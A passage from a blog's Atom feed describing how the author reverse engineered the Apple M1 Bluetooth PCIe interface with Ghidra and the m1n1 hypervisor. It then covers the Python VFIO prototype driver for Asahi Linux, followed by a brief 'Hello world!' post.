&lt;p&gt;The &lt;code&gt;+ 0x80&lt;/code&gt; and &lt;code&gt;+ 0x88&lt;/code&gt; vtable calls are &lt;code&gt;ACIPCControl::writeBar0Register&lt;/code&gt; and &lt;code&gt;ACIPCControl::writeBar1Register&lt;/code&gt; respectively, which are defined back in the &lt;code&gt;AppleConvergedPCI&lt;/code&gt; driver (I do not know a convenient way to annotate vtables in Ghidra and usually follow them manually). This shows that the BTI "image" (which we are guessing is firmware, but have not yet confirmed) address is written to registers 0x19/0x20 and 3/4. Some further reverse engineering following the same reasoning finally yields an initial register list like in &lt;a href="https://github.com/ArcaneNibble/m1n1/commit/7f0cc2700686534bd26f72000b29847a05924943"&gt;this commit&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Finally, various "debug" and "state dump" functions often provide useful hints, such as this method &lt;code&gt;ACIPCRTIDevice::stateDump&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Ghidra showing ACIPCRTIDevice::stateDump" src="https://arcanenibble.com/images/m1-bt-statedump.png"&gt;&lt;/p&gt;
&lt;p&gt;However, although this code may give the names of fields in a structure, it is not 100% clear exactly what these RTI-related structures are used for, and it eventually becomes easier to supplement static analysis with dynamic analysis.&lt;/p&gt;
&lt;h1&gt;Switching to tracing and dynamic analysis&lt;/h1&gt;
&lt;p&gt;In order to switch to dynamic analysis and trace what macOS is doing, we make use of m1n1's hypervisor. When this effort was first being performed, there was no code to help with tracing PCIe devices, so I wrote a tracer that hard-codes the physical addresses that the Bluetooth device PCIe BARs get mapped to. This was "good enough" to get initial reverse engineering done.&lt;/p&gt;
&lt;p&gt;By dumping the "image" that is initially sent to the card (code &lt;a href="https://github.com/ArcaneNibble/m1n1/commit/a5089dae08f785ee30b01f24fbd28de75d9d9413"&gt;here&lt;/a&gt;) and then comparing it against files in &lt;code&gt;/usr/share/firmware/bluetooth&lt;/code&gt;, we can confirm that this first stage is indeed a firmware load done by the "BTI" classes. We can also dump the "context" set by &lt;code&gt;ACIPCRTIDevice::updateContextAddr&lt;/code&gt; and confirm that it matches the structure printed by &lt;code&gt;ACIPCRTIDevice::stateDump&lt;/code&gt; (this code is &lt;a href="https://github.com/ArcaneNibble/m1n1/commit/23e8c240f72b9a6d8c5921f2a7a8a7deb7038704"&gt;here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Bluetooth context structure" src="https://arcanenibble.com/images/m1-bt-ctx.png"&gt;&lt;/p&gt;
&lt;p&gt;At this point, a very tedious back-and-forth process occurs of updating the tracer based on static analysis findings, and then updating the static analysis based on the tracer results. The first significant milestone is uncovering the ring buffer used for control messages on pipe 0 (code &lt;a href="https://github.com/ArcaneNibble/m1n1/commit/fff333341cb5e14803805127ae7895cdb27da3ff"&gt;here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Bluetooth control pipe message" src="https://arcanenibble.com/images/m1-bt-pipe0-msg.png"&gt;&lt;/p&gt;
&lt;p&gt;The tedious back-and-forth repeats again, but I start noticing that a lot of the settings that go into these control messages seem to come from Somewhere™ that I don't understand. Eventually, in a flash of insight, I open &lt;code&gt;/System/Library/Extensions/AppleConvergedIPCOLYBTControl.kext/Contents/Info.plist&lt;/code&gt; and discover:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Info.plist" src="https://arcanenibble.com/images/m1-bt-infoplist.png"&gt;&lt;/p&gt;
&lt;p&gt;... oh. Sometimes it helps to read the documentation. Reading through this plist file, we discover that it references separate pipes for "HCI", "SCO", "ACL", and "debug". I don't know what any of these terms are, but a quick poke through the Bluetooth Core specification reveals this table in the section describing the UART transport layer:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Bluetooth specification UART packet indicators" src="https://arcanenibble.com/images/m1-bt-uartspec.png"&gt;&lt;/p&gt;
&lt;p&gt;This is starting to make sense. Instead of adding a byte prefix like the UART transport layer, Apple seems to have separated out each type of Bluetooth packet into a separate "pipe" with its own ring buffers, and the plist specifies how these are all tied together.&lt;/p&gt;
&lt;p&gt;The reverse engineering process proceeds until the tracer can &lt;a href="https://github.com/ArcaneNibble/m1n1/commit/709be6644289b33596271cdd7f2c9af52e076b9e"&gt;dump HCI commands&lt;/a&gt; as well as &lt;a href="https://github.com/ArcaneNibble/m1n1/commit/40abf193e90079b0d04b9d9cb22cff87b718dab9"&gt;their corresponding responses&lt;/a&gt;. This finally results in &lt;a href="https://twitter.com/ArcaneNibble/status/1513129726516232192"&gt;this Tweet&lt;/a&gt; showing command 0x1002 &lt;code&gt;Read_Local_Supported_Commands&lt;/code&gt; in the TR and the corresponding reply in the CR. From the dumps, we can confirm that this Bluetooth adapter &lt;em&gt;does&lt;/em&gt; indeed still use standard HCI commands, just wrapped in this Apple-specific transport.&lt;/p&gt;
&lt;p&gt;After tracing data flowing through in both directions, we can finally make reasonable guesses as to what various abbreviations in the driver codebase mean:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HIA - head index A?&lt;/li&gt;
&lt;li&gt;TIA - tail index A?&lt;/li&gt;
&lt;li&gt;CR - completion ring&lt;/li&gt;
&lt;li&gt;TR - transfer ring&lt;/li&gt;
&lt;li&gt;MR - message/management ring&lt;/li&gt;
&lt;li&gt;TD - transfer descriptor&lt;/li&gt;
&lt;li&gt;CD - completion descriptor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It's time to be brave and try driving the device ourselves with our own driver!&lt;/p&gt;
&lt;h1&gt;Prototyping a new driver&lt;/h1&gt;
&lt;p&gt;In order to prototype a driver quickly, I wanted to be able to use a high-level programming language that's extremely convenient for rapid prototyping, such as Python. Most of the other Asahi experimentation is already done with Python scripts running on a separate computer interfacing with m1n1. However, there weren't any examples of how to set up a PCIe device under m1n1, and I didn't want to invest a lot of effort into making that work. Fortunately, Linux already has functionality for writing userspace PCIe drivers — &lt;a href="https://docs.kernel.org/driver-api/vfio.html"&gt;VFIO&lt;/a&gt;. VFIO is well-known for allowing "passthrough" of PCIe devices from a hypervisor host to virtual machines, but it also allows safe (IOMMU-protected) access to PCIe devices from userspace.&lt;/p&gt;
&lt;p&gt;I start putting together a Python skeleton to poke BAR registers interactively while booted into Linux. However, I quickly discover an issue — accessing some registers (e.g. &lt;code&gt;CHIPCOMMON_CHIP_STATUS&lt;/code&gt;) works, but accessing most registers cause &lt;em&gt;the entire machine&lt;/em&gt; to lock up and eventually watchdog reboot. This happens even if I access them in the exact same sequence as macOS does. Much frustration ensues.&lt;/p&gt;
&lt;p&gt;Eventually, I start using the debugging technique of "what information do I have that I have &lt;em&gt;not&lt;/em&gt; used yet?" One obvious piece of information is the &lt;code&gt;AppleConvergedPCI&lt;/code&gt; driver and the &lt;code&gt;ACIPCChip43XX&lt;/code&gt; classes, all of which seem to just initialize some magic numbers and then not do anything else. While thoroughly combing through this driver (and continuing to bang my head against the desk), I eventually notice &lt;code&gt;AppleConvergedPCI::setupVendorSpecificConfigGated&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Ghidra showing AppleConvergedPCI::setupVendorSpecificConfigGated" src="https://arcanenibble.com/images/m1-bt-configspace.png"&gt;&lt;/p&gt;
&lt;p&gt;PCIe config space. Of course. Since the PCIe configuration space is not part of a BAR, none of my tracing captured it. It's also the perfect location to put magic pokes that completely change how the rest of the chip behaves. This also explains what the magic numbers in &lt;code&gt;ACIPCChip43XX&lt;/code&gt; are for — they are written into the configuration space to change what is mapped into the memory BARs. This also explains why not setting them up causes a system lockup — accessing an invalid/unmapped address. Pasting these pokes into my Python driver and... success! I can read/write registers without crashing. From there, it's a &lt;a href="https://github.com/ArcaneNibble/m1-bluetooth-prototype/commit/5c243d6077ed3ab7ecc8c6f5cfb27b81b9899c3f"&gt;very quick bit of code&lt;/a&gt; until I can successfully boot the firmware.&lt;/p&gt;
&lt;p&gt;Once the firmware is booted, I just need to set up the RTI "context" data structure, and then I can transition the firmware into state 1 followed by state 2 where it should be running (code &lt;a href="https://github.com/ArcaneNibble/m1-bluetooth-prototype/commit/2a2e5d26e4a93cb2ca5706cfa5797596459e8d49"&gt;here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;From here, further iteration and experimentation gets to the point where &lt;a href="https://github.com/ArcaneNibble/m1-bluetooth-prototype/commit/637d90c02706e378e085d924826f3e8ef2de57ba"&gt;completion rings can be opened&lt;/a&gt; followed by &lt;a href="https://github.com/ArcaneNibble/m1-bluetooth-prototype/commit/2327dd357ea5626e5827bd786a4061df58b8caeb"&gt;opening transfer rings&lt;/a&gt;. At this point, we can now manually send Bluetooth HCI commands via the Python interactive shell.&lt;/p&gt;
&lt;p&gt;The macOS kernel driver does not handle higher-level concerns such as calibration (deferring these to userspace). However, in order to make this work under Linux, we have to do this functionality ourselves. The m1n1 tracer is now complete enough to show that the relevant commands are 0xFD97 to load calibration and 0xFE0D to load a "PTB" (both within the vendor-specific command range). In the prototype, we duplicate the commands &lt;a href="https://github.com/ArcaneNibble/m1-bluetooth-prototype/commit/8d29ac95260a65f90c892d62a5095b7f6ba37b2f"&gt;here&lt;/a&gt;. At this point, I can finally send 0x0C1A &lt;code&gt;Write_Scan_Enable&lt;/code&gt; via the Python interactive shell and get &lt;a href="https://twitter.com/ArcaneNibble/status/1513463982073409537"&gt;this Tweet&lt;/a&gt; where an Android phone is detecting the M1.&lt;/p&gt;
&lt;h1&gt;Fleshing out the prototype driver&lt;/h1&gt;
&lt;p&gt;After getting HCI commands working via an interactive shell, the next logical step is to try to integrate it with the rest of the Linux Bluetooth stack. Fortunately, Linux once again has a good mechanism for doing this — &lt;a href="https://github.com/torvalds/linux/blob/master/drivers/bluetooth/hci_vhci.c"&gt;Bluetooth VHCI&lt;/a&gt;. There doesn't appear to be any documentation about how this is supposed to work, but the interface happens to be straightforward enough (open &lt;code&gt;/dev/vhci&lt;/code&gt; and then read/write packets prefixed by a byte indicating HCI packet type).&lt;/p&gt;
&lt;p&gt;Quickly hooking this together yielded &lt;a href="https://twitter.com/ArcaneNibble/status/1513478297740406785"&gt;this Tweet&lt;/a&gt; showing the M1 laptop scanning and detecting an Android phone, with everything already correctly plumbed through all the way to the GUI layer.&lt;/p&gt;
&lt;p&gt;At this point, I attempt to support SCO data, but it uses a different doorbell mechanism and immediately causes an interrupt storm. I set this aside and decide to come back to it later (this is always a valid approach!). I instead decide to tackle ACL data, which requires me to figure out how the sharing of completion rings works. I try to test using command 0x1802 &lt;code&gt;Write_Loopback_Mode&lt;/code&gt;, only to discover that it appears to be broken or otherwise somehow crashes the firmware. Undeterred, I decided to just plow forwards and integrate ACL experiments directly into the VHCI logic.&lt;/p&gt;
&lt;p&gt;While experimenting with this, I compared against multiple traces I had captured from macOS and eventually discovered the following major quirk: when ACL data to the host fits inside the completion ring, the buffer passed in the transfer ring is not used. The buffer in the transfer ring is only used when the data is too large to fit directly inside the completion ring. (There are flag bits in the descriptor that indicate this.) Once this was &lt;a href="https://github.com/ArcaneNibble/m1-bluetooth-prototype/commit/3d282b88e1a606c60723ea398b20635d5028d048"&gt;correctly handled&lt;/a&gt;, I posted &lt;a href="https://twitter.com/ArcaneNibble/status/1513804983308746753"&gt;this Tweet&lt;/a&gt; where I successfully sent a file via OBEX to a phone.&lt;/p&gt;
&lt;p&gt;However, it was clear that there was still a bug. &lt;a href="https://github.com/ArcaneNibble/m1-bluetooth-prototype/commit/2c9ffc71b84f88c02db3c8391c3425d46aed31e5"&gt;Implementing&lt;/a&gt; analogous handling of larger ACL buffers going out to the adapter was sufficient to finally fix that as well (after resetting multiple pieces of software repeatedly as they got confused by bogus data). With that, pairing and playing audio via A2DP &lt;a href="https://twitter.com/ArcaneNibble/status/1513820969902608384"&gt;worked&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Finally, I re-enabled the SCO logic I had set aside (and ignored the resulting interrupt storm). This appeared to &lt;em&gt;also&lt;/em&gt; work, so I declared the prototype "complete enough," wrote a README, and announced it publicly.&lt;/p&gt;
&lt;h1&gt;Aftermath&lt;/h1&gt;
&lt;p&gt;Eventually, sven from the Asahi project took on the effort needed to turn this prototype into a real driver. For the most part, this was a fairly straightforward affair. However, some further discoveries were made along the way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;several of the unknown register writes (e.g. &lt;code&gt;REG_21&lt;/code&gt; and &lt;code&gt;REG_24&lt;/code&gt;) in my prototype can just be ignored with seemingly no effect&lt;/li&gt;
&lt;li&gt;treating the SCO doorbell as... not special causes the interrupt storm problem to go away&lt;/li&gt;
&lt;li&gt;the details of reading the chip ID, revision, and OTP were figured out in order to select the correct firmware&lt;/li&gt;
&lt;li&gt;the adapters &lt;a href="https://lore.kernel.org/asahi/166786921601.3686.4643669436357800810.git-patchwork-notify@kernel.org/T/#mb9a33cacfc9c3ba9b604240335c1fe2cba1f1d46"&gt;use reserved bits to indicate the channel of received BLE advertisements&lt;/a&gt;. This helps explain why BLE did not work in my testing with my prototype.&lt;/li&gt;
&lt;li&gt;quirks specific to the 4377 and 4378 chips were figured out&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But, with all of that sorted, the driver has made its way upstream!&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Hello world!</title><link href="https://arcanenibble.com/hello-world.html" rel="alternate"></link><published>2023-01-28T00:00:00+00:00</published><updated>2023-01-28T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2023-01-28:/hello-world.html</id><summary type="html">&lt;p&gt;I'm back...!&lt;/p&gt;</summary><content type="html">&lt;p&gt;One pandemic, innumerable global crises, and several rounds of personal redevelopment later... and I have a website/blog again!&lt;/p&gt;</content><category term="misc"></category></entry></feed>